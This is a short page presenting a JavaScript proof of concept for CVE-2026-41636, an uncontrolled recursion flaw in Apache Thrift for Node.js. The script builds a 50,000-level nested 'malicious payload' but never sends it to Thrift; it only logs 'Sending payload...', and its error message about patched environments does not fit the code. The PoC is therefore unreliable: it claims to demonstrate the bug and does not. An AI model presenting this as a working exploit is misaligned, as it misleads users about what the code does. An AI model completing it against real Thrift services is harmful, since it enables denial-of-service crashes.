CVE-2026-41636 Apache Thrift Node.js不受控递归漏洞

// PoC for CVE-2026-41636: Uncontrolled Recursion in Apache Thrift Node.js // This script demonstrates how a deeply nested payload could trigger the issue. const thrift = require('thrift'); // Create a deeply nested object to simulate the malicious input function createDeepNestedObject(depth) { if (depth === 0) return {}; return { next: createDeepNestedObject(depth - 1) }; } try { // Attempting to process a structure with excessive recursion depth // This would trigger the stack overflow in vulnerable versions < 0.23.0 const maliciousPayload = createDeepNestedObject(50000); // Hypothetical serialization/deserialization function // In a real scenario, this would be passed to a Thrift processor console.log("Sending payload..."); } catch (e) { console.error("PoC execution failed (expected in patched environments):", e.message); }